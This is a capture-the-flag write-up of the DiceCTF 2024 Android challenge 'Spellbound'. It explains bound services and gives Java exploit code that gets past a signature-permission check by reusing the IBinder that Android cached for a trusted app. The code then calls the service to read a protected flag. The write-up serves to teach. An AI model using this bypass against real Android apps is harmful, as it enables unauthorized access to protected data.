Spellbound - DiceCTF 2024
Quick Summary
Spellbound is an android challenge from DiceCTF 2024, and as implied by its name, it involves android bound services. In this write-up, I will explain what bound services are and how they can be exploited to perform unauthorized actions. The challenge contains a zip file with 2 APKs: DictionaryService.apk and DictionaryApp.apk.
Terminologies
Before diving into the challenge, i’ll explain a few terms that will be relevant along the way:
1) Bound services
A service (Component that can perform operations in the background without the need of a user interface) is referred to as bound when an application component binds to it. When a service is bound, it offers a client-server interface that allows components to interact with it, send requests, receive results.
2) AIDL
Language that defines the Interface that the server( service ) and the client have to agree upon in order to communicate using IPC.
3) IPC
Is a mechanism that allows different components to communicate with each other.
4) Binders
IPC mechanism that allows components to get a reference to a service, directly invoke methods on them and receive a response.
Challenge description
Analyzing DictionaryService.apk
<service android:name="com.dicectf2024.dictionaryservice.DictionaryService" android:enabled="true" android:exported="true"/>
<service android:name="com.dicectf2024.dictionaryservice.SignatureService" android:permission="com.dicectf2024.permission.dictionary.BIND_SIGNATURE_SERVICE" android:enabled="true" android:exported="true"/>
DictionaryService declares an onBind method and returns an IBinder object to caller if authorization checks performed on the intent are successful. Once the object is obtained, a call to the getData method can be made, passing in a string to retrieve it’s definition. If “flag” is received, it returns the flag token which is a 16-character random string stored in Encrypted shared preference.
For our intent to be deemed secure, it needs to contain a valid signature which can be obtained from the SignatureService service. SignatureService requires that any client attempting to bind to it must hold the com.dicectf2024.permission.dictionary.BIND_SIGNATURE_SERVICE
permission. The system verifies the digital signatures of both the service and the client application to ensure they are signed by the same entity. Since our app’s signature is different from the service, the binding fails.
At this point, it is clear that only DictionaryApp can call the getData method, since it is signed using the same signing key that signed SignatureService.
Analyzing DictionaryApp.apk
In the OnCreate method, the activity binds to DictionaryService, sends it a string and receives it's definition in return. The activity is exported meaning other apps can launch it.
Exploiting a design implementation
To circumvent the signature permission check in DictionaryService, we need to exploit a design implementation in Android bound services. According to the docs:
This implies that when the DictionaryApp establishes a connection with the DictionaryService using a valid signature, an IBinder object is created and cached. Subsequent client connections do not undergo permission checks; instead, they receive the cached IBinder object directly.
writing the exploit app
I'll provide an overview of the code here. For detailed implementation, you can refer to the code in my GitHub repository.
OnCreate method
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// create an intent to call Dictionaryapp
Intent dictionaryAppIntent = new Intent();
dictionaryAppIntent.setComponent(
new ComponentName("com.dicectf2024.dictionaryapp", "com.dicectf2024.dictionaryapp.DefinitionActivity"));
startActivity(dictionaryAppIntent);
// Delay for 2 seconds before binding to DictionaryService
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
bindToDictionaryService();
}
}, 2000);
setContentView(R.layout.activity_main);
}
An intent is created with the componentName set. Subsequently, DictionaryApp is initiated using startActivity. The delay is to wait until the connection btwn DictionaryService and DictionaryApp is made, then bindToDictionaryService method is called.
bindToDictionaryService method
private void bindToDictionaryService() {
// create an intent to bind to the dictionary service
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.dicectf2024.dictionaryservice",
"com.dicectf2024.dictionaryservice.DictionaryService"));
// bind to dictionary service
bindService(intent, serviceConnection, BIND_AUTO_CREATE);
Log.i(TAG, "Service bound");
}
An intent is created that’ll be used to launch the DictionaryService. The bindService method takes the created intent, a serviceConnection object and a flag, then binds to the service.
ServiceConnection object
private ServiceConnection serviceConnection = new ServiceConnection() {
// called when the connection with the service is established
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// obtain the instance of IDictionaryService and store it in dictionaryService
dictionaryService = IDictionaryService.Stub.asInterface(service); // dictionaryService is an instance of the
// IDictionaryService
Log.i(TAG, "Service connected");
try {
String flag = dictionaryService.getData("flag");
Log.i(TAG, "found flag =====> " + flag);
} catch (SecurityException | RemoteException e) {
e.printStackTrace();
}
}
// called when connection with the service is unexpectedly disconnected
public void onServiceDisconnected(ComponentName name){...}
We begin by creating a ServiceConnection object that will be used to interact with the service. Within the object, we define the onServiceConnected
method which manages the callback from the service once we execute the bindService method. Upon establishing a successful connection, we then call the getData
method, passing in “flag” as parameter, and retrieve the random flag.
In this write-up we’ve explored various aspects of exploiting Android bound services and navigating security measures. I hope you found this information insightful. Until next time, peace!
Subscribe to my newsletter
Read articles from Ian Raburu directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by